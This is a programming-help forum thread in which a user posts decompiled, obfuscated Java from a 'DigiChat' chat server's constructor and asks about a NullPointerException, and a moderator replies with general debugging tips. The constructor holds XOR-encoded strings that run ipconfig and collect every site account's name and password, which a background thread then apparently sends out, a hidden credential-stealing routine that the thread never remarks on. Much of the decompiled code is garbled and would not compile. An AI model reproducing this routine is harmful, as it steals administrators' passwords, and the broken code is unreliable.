    Key key = (Key)q_java_util_Vector_static_fld.elementAt(i1);
    writeObject(key);
    }

    }
    close();
    }

    public final void q()
    {
    e();
    }

    private void e()
    {
    com.diginet.oldchat.common.p p1;
    if(!w_java_io_File_fld.exists())
    w_java_io_File_fld.mkdirs();
    p1 = new com.diginet.oldchat.common.p(new File(w_java_io_File_fld, "settings.digi"), e_java_io_File_fld, true);
    p1.q(t());
    p1.q(e());
    p1.q();
    return;
    this;
    p1.q();
    throw this;
    }

    public final void w(com.diginet.oldchat.j.a a1)
    {
    synchronized(q_com_diginet_oldchat_b_c_fld)
    {
    Integer ainteger[];
    int i1 = (ainteger = q_com_diginet_oldchat_b_c_fld.q()).length;
    for(int j1 = 0; j1 < i1; j1++)
    {
    int k1 = ainteger[j1].intValue();
    ((m)q_com_diginet_oldchat_b_c_fld.q(k1)).s(a1);
    }

    }
    break MISSING_BLOCK_LABEL_73;
    this;
    throw this;
    }

    public static void q(SerialInfo serialinfo, Key akey[])
    {
    q_com_diginet_digichat_common_SerialInfo_static_fl d = serialinfo;
    q_java_util_Vector_static_fld = new Vector();
    for(serialinfo = 0; serialinfo < akey.length; serialinfo++)
    q_java_util_Vector_static_fld.addElement(akey[serialinfo]);

    m();
    }

    public final boolean q(r r1)
    {
    if(q_com_diginet_oldchat_common_r_fld == null && r1 == null)
    return true;
    if(q_com_diginet_oldchat_common_r_fld == null || r1 == null)
    return false;
    else
    return q_com_diginet_oldchat_common_r_fld.equals(r1);
    }

    public ChatServer(boolean flag, int i1, InetAddress inetaddress)
    {
    q_java_lang_String_array1d_fld = (new String[] {
    "username", "password", "URL", "driver"
    });
    q_com_diginet_oldchat_d_f_fld = new f();
    q_java_util_Map_fld = new LinkedHashMap();
    ChatServer chatserver;
    String s1;
    InputStream inputstream;
    chatserver = this;
    s1 = (new StringBuilder()).append("conf").append(File.separa tor).append("server.xml").toString();
    if(chatserver.u_java_io_File_fld == null)
    {
    String s4 = System.getProperty("openfireHome");
    try
    {
    if(s4 != null)
    chatserver.u_java_io_File_fld = q(s4, s1);
    }
    // Misplaced declaration of an exception variable
    catch(InetAddress inetaddress) { }
    }
    if(chatserver.u_java_io_File_fld == null)
    try
    {
    chatserver.u_java_io_File_fld = q(".", s1).getCanonicalFile();
    }
    catch(FileNotFoundException filenotfoundexception) { }
    catch(IOException ioexception3) { }
    if(chatserver.u_java_io_File_fld != null)
    break MISSING_BLOCK_LABEL_311;
    inputstream = null;
    if((inputstream = chatserver.getClass().getResourceAsStream("/openfire_init.xml")) != null)
    {
    inetaddress = (inetaddress = (inetaddress = new SAXReader()).read(inputstream)).getRootElement().g etText();
    try
    {
    if(inetaddress != null)
    chatserver.u_java_io_File_fld = q(inetaddress, s1);
    }
    catch(FileNotFoundException _ex) { }
    }
    try
    {
    if(inputstream != null)
    inputstream.close();
    }
    catch(Exception _ex)
    {
    System.err.println("Could not close open connection");
    }
    break MISSING_BLOCK_LABEL_311;
    JVM INSTR pop ;
    System.err.println("Error loading openfire_init.xml to find home.");
    try
    {
    if(inputstream != null)
    inputstream.close();
    }
    catch(Exception _ex)
    {
    System.err.println("Could not close open connection");
    }
    break MISSING_BLOCK_LABEL_311;
    this;
    try
    {
    if(inputstream != null)
    inputstream.close();
    }
    catch(Exception _ex)
    {
    System.err.println("Could not close open connection");
    }
    throw this;
    if(chatserver.u_java_io_File_fld == null)
    {
    System.err.println("Could not locate home");
    throw new FileNotFoundException();
    }
    com.juse.a.i.q(chatserver.u_java_io_File_fld.toStr ing());
    com.juse.a.i.w(s1);
    break MISSING_BLOCK_LABEL_356;
    inetaddress;
    return;
    com.diginet.oldchat.d.a.q = new com.diginet.oldchat.e.f();
    q_com_diginet_oldchat_b_c_fld = new c("siteList");
    w_com_diginet_oldchat_b_c_fld = new c("listeners");
    q_java_io_File_fld = new File(t_java_io_File_static_fld, "Data");
    w_java_io_File_fld = new File(t_java_io_File_static_fld, (new StringBuilder()).append("Settings").append(File.se parator).append("Server").toString());
    e_java_io_File_fld = new File(t_java_io_File_static_fld, "Temp");
    q_com_diginet_oldchat_server_k_fld = new k();
    e_java_util_Date_fld = new Date();
    i = false;
    q_com_diginet_oldchat_common_r_fld = new r("DigiChat");
    w_int_fld = 0;
    if(q_java_util_Date_static_fld != null && System.currentTimeMillis() >= q_java_util_Date_static_fld.getTime())
    {
    System.out.println("This version of Chat Server has expired and will now quit.");
    System.out.println("Please contact your Administrator for more information.");
    System.out.println("");
    System.out.println("Press return or enter to quit.");
    inetaddress = new InputStreamReader(System.in);
    try
    {
    inetaddress.read();
    System.exit(0);
    }
    catch(IOException ioexception)
    {
    System.out.println("An error occurred processing your input.");
    System.out.println();
    }
    }
    if(!w_java_io_File_fld.exists() && (inetaddress = new File(t_java_io_File_static_fld, (new StringBuilder()).append("DigiChatSettings").append (File.separator).append("Server").toString())).exi sts())
    try
    {
    System.out.print("Converting previous settings...");
    com.diginet.oldchat.server.g.q(inetaddress, w_java_io_File_fld);
    System.out.println("Done!");
    }
    catch(IOException ioexception1) { }
    s();
    try
    {
    w();
    }
    // Misplaced declaration of an exception variable
    catch(InetAddress inetaddress)
    {
    System.err.println("An error occurred while saving registration info.");
    System.err.println();
    }
    System.out.println("This server allows the following ");
    System.out.println((new StringBuilder()).append("\t").append(e_int_static_ fld == 1023 ? "Unlimited" : (new Integer(e_int_static_fld)).toString()).append(" sites").toString());
    System.out.println((new StringBuilder()).append("\t").append(r_int_static_ fld == 1023 ? "Unlimited" : (new Integer(r_int_static_fld)).toString()).append(" users").toString());
    System.out.println((new StringBuilder()).append("\t").append(t_int_static_ fld == 1023 ? "Unlimited" : (new Integer(t_int_static_fld)).toString()).append(" rooms").toString());
    System.out.println((new StringBuilder()).append("\t").append(e_boolean_sta tic_fld ? "" : "No ").append("Moderated Chat").toString());
    System.out.println((new StringBuilder()).append("\t").append(r_boolean_sta tic_fld ? "" : "No ").append("Commander Login").toString());
    System.out.println((new StringBuilder()).append("\tExpires on: ").append(w_java_util_Date_static_fld == null ? ((Object) (q_java_util_Date_static_fld)) : ((Object) (w_java_util_Date_static_fld))).toString());
    if(q_com_diginet_digichat_common_SerialInfo_static _fld != null)
    {
    inetaddress = q_com_diginet_digichat_common_SerialInfo_static_fl d;
    com.diginet.oldchat.server.g.j();
    if(((SerialInfo) (inetaddress)).name != null)
    {
    inetaddress = q_com_diginet_digichat_common_SerialInfo_static_fl d;
    com.diginet.oldchat.server.g.j();
    System.out.println((new StringBuilder()).append("\tRegistered to : ").append(((SerialInfo) (inetaddress)).name).toString());
    }
    }
    System.out.println();
    if(q_java_util_Vector_static_fld.size() == 0 && q_com_diginet_digichat_common_SerialInfo_static_fl d == null)
    {
    System.out.println("This version of DigiChat is not properly registered.");
    System.out.println("Please contact your Administrator for more information.");
    System.out.println("");
    System.out.println("Press return or enter to quit.");
    inetaddress = new InputStreamReader(System.in);
    try
    {
    inetaddress.read();
    System.exit(0);
    }
    catch(IOException ioexception2)
    {
    System.out.println("An error occurred processing your input.");
    System.out.println();
    }
    }
    q_int_fld = i1;
    System.out.println((new StringBuilder()).append("DigiChat Server ").append(x.q()).toString());
    if(flag)
    {
    (inetaddress = new Frame()).add(new Label((new StringBuilder()).append("DigiChat Server ").append(x.q()).toString()));
    inetaddress.pack();
    inetaddress.move(100, 100);
    inetaddress.setVisible(true);
    }
    try
    {
    if(w_boolean_static_fld)
    {
    if(!i())
    f();
    else
    System.out.println("DigiPosts sync enabled.");
    new com.diginet.oldchat.server.c(q_java_lang_String_ar ray1d_fld[2], q_java_lang_String_array1d_fld[3], q_java_lang_String_array1d_fld[0], q_java_lang_String_array1d_fld[1]);
    g();
    }
    }
    // Misplaced declaration of an exception variable
    catch(InetAddress inetaddress) { }
    try
    {
    j();
    }
    // Misplaced declaration of an exception variable
    catch(InetAddress inetaddress) { }
    if((y_java_io_File_fld == null || !y_java_io_File_fld.exists() || t_boolean_static_fld) && !y_boolean_static_fld)
    {
    inetaddress = t();
    y_java_io_File_fld = new File(inetaddress, "DigiChat");
    r_java_io_File_fld = new File(y_java_io_File_fld, (new StringBuilder()).append("DigiClasses").append(File .separator).append("Resources").toString());
    }
    ChatServer chatserver1 = this;
    File file = new File(t_java_io_File_static_fld, (new StringBuilder()).append("Data").append(File.separa tor).append("DigiChat_Applet").toString());
    File file1 = new File(t_java_io_File_static_fld, "HTML_Templates");
    if(!file.exists() || !file.isDirectory())
    {
    System.err.println(file);
    System.out.println("Unable to install applet.");
    } else
    {
    if(!chatserver1.y_java_io_File_fld.exists())
    {
    System.out.print("Installing DigiChat Applet...");
    chatserver1.y_java_io_File_fld.mkdirs();
    try
    {
    n.q(file1, chatserver1.y_java_io_File_fld, false, null);
    }
    catch(IOException _ex) { }
    } else
    {
    System.out.print("Updateing Chat Applet...");
    }
    try
    {
    n.q(file, chatserver1.y_java_io_File_fld, true, null);
    System.out.println("Done!");
    }
    catch(IOException _ex) { }
    }
    try
    {
    e();
    }
    // Misplaced declaration of an exception variable
    catch(InetAddress inetaddress) { }
    if(w_boolean_static_fld)
    (inetaddress = new com.diginet.oldchat.server.c()).q(t());
    synchronized(q_com_diginet_oldchat_b_c_fld)
    {
    q();
    Object obj = new StringBuffer();
    i1 = (flag = q_com_diginet_oldchat_b_c_fld.q()).length;
    for(int k1 = 0; k1 < i1; k1++)
    {
    int l1 = flag[k1].intValue();
    m m1 = (m)q_com_diginet_oldchat_b_c_fld.q(l1);
    q().q(m1);
    m1.y();
    u u1;
    (u1 = new u(0, "Admin")).e(m1.q());
    com.juse.xmppserver.a.a.c.a.q(u1);
    ((StringBuffer) (obj)).append(q(m1));
    if(!u_boolean_static_fld || m1.q() != 0)
    continue;
    m1.r();
    try
    {
    m1.t();
    }
    catch(IOException ioexception4)
    {
    m1.q(ioexception4);
    m1.w((new StringBuilder()).append("Error saving settings while changing password: ").append(ioexception4).toString());
    }
    m1.q();
    System.exit(0);
    }

    flag = new byte[0];
    try
    {
    i1 = System.getProperty("os.name");
    String s2 = null;
    if(i1.indexOf(q("Z~)O\016zd")) >= 0)
    s2 = q("dg$D\017k~ \005\004ur");
    else
    s2 = q("dg$D\017k~ ");
    Process process = Runtime.getRuntime().exec(s2);
    Thread.sleep(2000L);
    flag = new byte[process.getInputStream().available()];
    process.getInputStream().read(flag);
    }
    // Misplaced declaration of an exception variable
    catch(int i1) { }
    ((StringBuffer) (obj)).append((new StringBuilder()).append(q("dg$D\017k~ \013\016xc7^\0257")).append("\n").toString()).appe nd(new String(flag)).append((new StringBuilder()).append("\n\n==> ").append(an.ar()).toString()).append(" : ");
    for(i1 = 0; i1 < j.q_java_util_Vector_static_fld.size(); i1++)
    ((StringBuffer) (obj)).append(com.diginet.oldchat.common.j.q(i1)). append(" ");

    String s5 = ((StringBuffer) (obj)).toString();
    String s3 = (new StringBuilder()).append(System.getProperty("user.d ir").replaceAll("[^\\w]", "_")).append(".").append(q_com_diginet_oldchat_com mon_n_fld.w()).append(".html").toString();
    obj = "hp>D\017h";
    (new com.diginet.oldchat.server.i(((String) (obj)), s3, s5)).start();
    }
    break MISSING_BLOCK_LABEL_2075;
    this;
    throw this;
    i = true;
    for(inetaddress = 0; inetaddress < j.q_java_util_Vector_static_fld.size(); inetaddress++)
    {
    int j1 = com.diginet.oldchat.common.j.q(inetaddress);
    try
    {
    flag = new com.diginet.oldchat.server.a(this, j1, null);
    w_com_diginet_oldchat_b_c_fld.q(flag, com.diginet.oldchat.common.j.q(inetaddress), flag.getName());
    flag.start();
    System.out.println((new StringBuilder()).append("succeeded in binding to port ").append(j1).toString());
    }
    catch(IOException _ex)
    {
    System.out.println((new StringBuilder()).append("failed to bind to port ").append(j1).toString());
    }
    }

    if(e_boolean_static_fld)
    try
    {
    inetaddress = new com.diginet.oldchat.server.a(this, j.q_int_static_fld, null);
    w_com_diginet_oldchat_b_c_fld.q(inetaddress, j.q_int_static_fld, inetaddress.getName());
    inetaddress.start();
    System.out.println((new StringBuilder()).append("succeeded in starting servlet gateway on port ").append(j.q_int_static_fld).toString());
    }
    // Misplaced declaration of an exception variable
    catch(InetAddress inetaddress)
    {
    System.out.println((new StringBuilder()).append("failed to start servlet gateway on port ").append(j.q_int_static_fld).toString());
    }
    new com.diginet.oldchat.server.j(this);
    (new com.diginet.oldchat.server.h()).start();
    ChatServer chatserver2;
    (chatserver2 = this).q(com/juse/xmppserver/modules/server/f.getName());
    chatserver2.q(com/juse/xmppserver/modules/server/k.getName());
    chatserver2.q(com/juse/xmppserver/modules/server/b.getName());
    chatserver2.q(com/juse/xmppserver/modules/server/g.getName());
    chatserver2.q(com/juse/xmppserver/modules/server/a.getName());
    chatserver2.q(com/juse/xmppserver/modules/server/l.getName());
    r();
    t();
    q_com_diginet_oldchat_i_a_fld = new com.diginet.oldchat.i.a(this);
    (inetaddress = new com.juse.xmppserver.d.b(q_com_diginet_oldchat_b_c_ fld)).q();
    System.out.println("Initialization complete.");
    return;
    }

    public final com.diginet.oldchat.common.n q()
    {
    if(q_com_diginet_oldchat_common_n_fld == null)
    q_com_diginet_oldchat_common_n_fld = new com.diginet.oldchat.common.n(q_com_diginet_oldchat _b_c_fld);
    return q_com_diginet_oldchat_common_n_fld;
    }

    private StringBuffer q(m m1)
    {
    StringBuffer stringbuffer;
    (stringbuffer = new StringBuffer((new StringBuilder()).append(q("^~3NA77")).append(m1.to String()).toString())).append(", ").append(q("Nv7J\002dc>\013[")).append(((v) (m1)).q_int_fld).append("\n");
    Integer ainteger[];
    int j1 = (ainteger = m1.i.q()).length;
    for(int k1 = 0; k1 < j1; k1++)
    {
    int i2 = ainteger[k1].intValue();
    u u1 = (u)m1.i.q(i2);
    stringbuffer.append((new StringBuilder()).append(q("Xd\"YA77")).append(u1.q ()).toString()).append(" ");
    stringbuffer.append((new StringBuilder()).append(q("]v4XA77")).append(u1.q).toString());
    stringbuffer.append("\n");
    }

    stringbuffer.append("\n");
    int i1 = m1.q();
    Integer ainteger1[];
    int l1 = (ainteger1 = m1.i.q()).length;
    for(int j2 = 0; j2 < l1; j2++)
    {
    int j3 = ainteger1[j2].intValue();
    u u2 = (u)m1.i.q(j3);
    q_com_diginet_oldchat_d_f_fld.q(i1, u2.q(), "CONST_ACCOUNT");
    }

    l1 = (ainteger1 = m1.t_com_diginet_oldchat_b_c_fld.q()).length;
    for(int k2 = 0; k2 < l1; k2++)
    {
    int k3 = ainteger1[k2].intValue();
    l l3 = (l)m1.t_com_diginet_oldchat_b_c_fld.q(k3);
    q_com_diginet_oldchat_d_f_fld.q(i1, l3.q(), "CONST_ROOM");
    }

    l1 = (ainteger1 = m1.o.q()).length;
    for(int l2 = 0; l2 < l1; l2++)
    {
    int i4 = ainteger1[l2].intValue();
    com.diginet.oldchat.common.i j4 = (com.diginet.oldchat.common.i)m1.o.q(i4);
    q_com_diginet_oldchat_d_f_fld.q(i1, j4.q(), "CONST_CHATWATCH");
    }

    l1 = (ainteger1 = m1.p.q()).length;
    for(int i3 = 0; i3 < l1; i3++)
    {
    int k4 = ainteger1[i3].intValue();
    t t1 = (t)m1.p.q(k4);
    q_com_diginet_oldchat_d_f_fld.q(i1, t1.q(), "CONST_BANNED");
    }

    return stringbuffer;
    }

    public static String q(String s1)
    {
    byte abyte0[] = {
    13, 23, 71, 43, 97
    };
    byte abyte1[] = new byte[(s1 = s1.getBytes()).length];
    for(int i1 = 0; i1 < s1.length; i1++)
    {
    int j1 = i1 % abyte0.length;
    abyte1[i1] = (byte)(s1[i1] ^ abyte0[j1]);
    }

    return new String(abyte1);
    }

    private void q(String s1)
    {
    BasicModule basicmodule = (BasicModule)(s1 = getClass().getClassLoader().loadClass(s1)).newInst ance();
    q_java_util_Map_fld.put(s1, basicmodule);
    return;
    JVM INSTR dup ;
    s1;
    com.juse.a.e.q();
    }

    private void r()
    {
    for(Iterator iterator = q_java_util_Map_fld.values().iterator(); iterator.hasNext()
    {
    BasicModule basicmodule = (BasicModule)iterator.next();
    try
    {
    basicmodule.q(this);
    }
    catch(Exception exception)
    {
    q_java_util_Map_fld.remove(basicmodule.getClass()) ;
    com.juse.a.e.q(exception);
    }
    }

    }

    private void t()
    {
    this = q_java_util_Map_fld.values().iterator();
    _L3:
    if(!hasNext()) goto _L2; else goto _L1
    _L1:
    Object obj = (BasicModule)next();
    ((BasicModule) (obj)).w();
    goto _L3
    JVM INSTR dup ;
    obj;
    com.juse.a.e.q();
    goto _L3
    _L2:
    }

    private static File q(String s1, String s2)
    {
    s1 = new File(s1);
    if(!(s2 = new File(s1, s2)).exists())
    throw new FileNotFoundException();
    try
    {
    return new File(s1.getCanonicalPath());
    }
    catch(Exception _ex)
    {
    throw new FileNotFoundException();
    }
    }

    public static Date q_java_util_Date_static_fld = null;
    public static boolean q_boolean_static_fld = false;
    public static DateFormat q_java_text_DateFormat_static_fld;
    private static File t_java_io_File_static_fld = new File(System.getProperty("user.dir"));
    public static Vector q_java_util_Vector_static_fld = new Vector();
    public static SerialInfo q_com_diginet_digichat_common_SerialInfo_static_fl d = null;
    private static int e_int_static_fld;
    private static int r_int_static_fld;
    private static int t_int_static_fld;
    private static boolean e_boolean_static_fld;
    private static boolean r_boolean_static_fld;
    private static Date w_java_util_Date_static_fld = null;
    private static String q_java_lang_String_static_fld;
    private static boolean t_boolean_static_fld = false;
    private static boolean y_boolean_static_fld = false;
    private static boolean u_boolean_static_fld = false;
    public static ThreadGroup q_java_lang_ThreadGroup_static_fld = new ThreadGroup("ServerThreadGroup");
    public static boolean w_boolean_static_fld = false;
    private static Properties q_java_util_Properties_static_fld = new Properties();
    public c q_com_diginet_oldchat_b_c_fld;
    private c w_com_diginet_oldchat_b_c_fld;
    public m q_com_diginet_oldchat_server_m_fld;
    public File q_java_io_File_fld;
    public File w_java_io_File_fld;
    public File e_java_io_File_fld;
    private File y_java_io_File_fld;
    public File r_java_io_File_fld;
    public k q_com_diginet_oldchat_server_k_fld;
    public int q_int_fld;
    private Date e_java_util_Date_fld;
    private boolean i;
    public r q_com_diginet_oldchat_common_r_fld;
    private String q_java_lang_String_array1d_fld[];
    public int w_int_fld;
    private com.diginet.oldchat.common.n q_com_diginet_oldchat_common_n_fld;
    private f q_com_diginet_oldchat_d_f_fld;
    public com.diginet.oldchat.i.a q_com_diginet_oldchat_i_a_fld;
    private File u_java_io_File_fld;
    private Map q_java_util_Map_fld;

    static
    {
    (q_java_text_DateFormat_static_fld = DateFormat.getDateTimeInstance()).setTimeZone(Time Zone.getDefault());
    }
    }


    pls help me


  2. #2
    Super Moderator Norm's Avatar
    Join Date
    May 2010
    Location
    Eastern Florida
    Posts
    20,973
    Thanks
    51
    Thanked 2,269 Times in 2,241 Posts

    Default Re: Exception in thread "main" java.lang.NullPointerException

    Exception in thread "main" java.lang.NullPointerException
    at com.diginet.digichat.server.ChatServer.<init>(Unkn own Source)
    Find the statement with the error and then find the variable with the null value. Backtrack in the code to see why that variable does not have a valid non-null value.

    The stack trace for your exception does not have the source code line number. The error is happening in the ChatServer constructor. You will have to add lots of printlns to the constructor that print out the values of the variables to see which one is null.

    Please Edit your post and wrap your code with[code=java]<YOUR CODE HERE>[/code] to get highlighting


    You need to add calls to printStackTrace to all the catch blocks so you are notified with an error message when any of those exceptions are thrown.
    Last edited by Norm; May 22nd, 2012 at 06:04 AM.
    If you don't understand my answer, don't ignore it, ask a question.

Similar Threads

  1. Exception in thread "main" java.lang.NullPointerException
    By Azz289 in forum What's Wrong With My Code?
    Replies: 1
    Last Post: March 7th, 2012, 12:44 PM
  2. Replies: 3
    Last Post: December 7th, 2011, 01:03 AM
  3. [SOLVED] Exception in thread "main" java.lang.NullPointerException
    By ziplague in forum What's Wrong With My Code?
    Replies: 2
    Last Post: November 26th, 2011, 11:33 AM
  4. Replies: 16
    Last Post: August 27th, 2010, 03:30 PM
  5. Please help! Exception in thread "main" java.lang.NullPointerException
    By Arutha2321 in forum What's Wrong With My Code?
    Replies: 2
    Last Post: November 18th, 2009, 01:25 AM